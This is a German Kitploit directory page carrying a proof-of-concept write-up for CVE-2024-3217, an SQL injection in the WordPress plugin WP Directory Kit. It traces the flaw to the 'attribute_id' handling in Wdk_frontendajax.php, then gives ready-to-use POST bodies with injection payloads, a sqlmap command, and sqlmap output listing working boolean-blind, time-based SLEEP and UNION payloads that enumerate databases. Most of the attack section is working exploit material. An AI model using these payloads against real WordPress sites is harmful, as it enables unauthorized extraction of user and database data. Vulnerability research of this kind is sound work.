Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-3217-POC — Proof-of-Concept-Exploit für CVE-2024-3217, eine nicht authentifizierte SQL-Injection im WordPress-Plugin WP Directory Kit, die das Extrahieren sensibler Daten aus der Datenbank ermöglicht. | Kitploit
Tools/GitHubGitHub/bassamassiri/cve-2024-3217-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubbassamassiri/cve-2024-3217-poc

CVE-2024-3217-POC

Proof-of-Concept-Exploit für CVE-2024-3217, eine nicht authentifizierte SQL-Injection im WordPress-Plugin WP Directory Kit, die das Extrahieren sensibler Daten aus der Datenbank ermöglicht.

Repository anzeigen
611vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-3217-POC

Mitre Beschreibung

Das WP Directory Kit Plugin für WordPress ist anfällig für SQL-Injection über die Parameter 'attribute_value' und 'attribute_id' in allen Versionen bis einschließlich 1.3.0. Dies liegt an unzureichender Maskierung der benutzergesteuerten Parameter und fehlender ausreichender Vorbereitung der bestehenden SQL-Abfrage. Dadurch ist es authentifizierten Angreifern mit mindestens Abonnenten-Zugriff (subscriber-level) möglich, zusätzliche SQL-Abfragen in bereits vorhandene Abfragen einzufügen, um sensible Informationen aus der Datenbank zu extrahieren.

Analyse

Ich habe die richtige Version über WordPress installiert.

https://wordpress.org/plugins/wpdirectorykit/

Wenn Sie eine ältere Version möchten, klicken Sie auf „Erweiterte Ansicht“.

image

Wir möchten die Versionen 1.3.0 und 1.3.1 für einen Diff-Vergleich herunterladen.

https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.0.zip https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.1.zip

Wenn ich diffe und nach den Werten von 'attribute_value' und 'attribute_id' suche, finde ich sie in dieser Datei:

\wpdirectorykit\application\controllers\Wdk_frontendajax.php Ich habe in VS Code eine Erweiterung namens „folder diff“ verwendet.

image

In Version 1.3.0 sehen wir, dass die Funktion „sanitize_text_field“ verwendet wurde, aber das Problem liegt nicht direkt hier, sondern hauptsächlich weiter unten in diesem Teil.

image

Wir sehen, dass wenn "$attr_search" numerisch ist, wir $id_part = "$attr_id=$attr_search OR "; kontrollieren, das als Teil der SQL-Abfrage verwendet wird. Da wir keine einfachen Anführungszeichen (') verwenden können (da es Teil einer Abfrage ist, müssen wir sie nicht zum Escapen verwenden), können wir unseren Injection-Teil direkt in den Code einfügen.

Dies wird hier verwendet:

image

Nun müssen wir eine Anfrage erstellen, die diese Teile erreicht, einen numerischen Wert für "$attr_search" setzt und dann unsere Injection durchführt. Gemäß der Beschreibung scheint das Minimum „subscriber-level“ zu sein. Das werden wir später überprüfen.

image

offset=0&per_page=10&curr_id=&attribute_id=ID=1)or 1=1-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
offset=0&per_page=10&curr_id=&attribute_id=ID=1)*-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected

Jetzt testen wir es mit SQLMAP für den PoC.

python .\sqlmap.py -r .\sql-wpdirectorykit-4.req --dbs --batch --dbms=mysql --flush-session
[17:08:36] [INFO] parsing HTTP request from '.\sql-wpdirectorykit-4.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[17:08:36] [INFO] flushing session file
[17:08:36] [INFO] testing connection to the target URL
[17:08:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:08:37] [INFO] testing if the target URL content is stable
[17:08:38] [INFO] target URL content is stable
[17:08:38] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[17:08:39] [INFO] (custom) POST parameter '#1*' appears to be dynamic
[17:08:39] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[17:08:40] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[17:08:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:08:44] [INFO] (custom) POST parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:08:44] [INFO] testing 'Generic inline queries'
[17:08:44] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:08:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:08:45] [WARNING] time-based comparison requires larger statistical model, please wait.................... (done)
[17:09:11] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:09:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:09:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:09:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:09:18] [INFO] target URL appears to have 34 columns in query
[17:09:36] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND 7544=7544-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND (SELECT 1253 FROM (SELECT(SLEEP(5)))BUhD)-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected

    Type: UNION query
    Title: Generic UNION query (NULL) - 34 columns
    Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171717871,0x645450444e484b6162547547496545685342754f57475a505641526d4373656c6c50454f61444358,0x7171707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- --- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
---
[17:09:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:09:37] [INFO] fetching database names

Versuchen wir nun herauszufinden, welche Mindestberechtigungen erforderlich sind. Beginnen wir ohne Cookies (0 Berechtigungen) und bauen von den niedrigsten Berechtigungen auf.

image

Tool herunterladen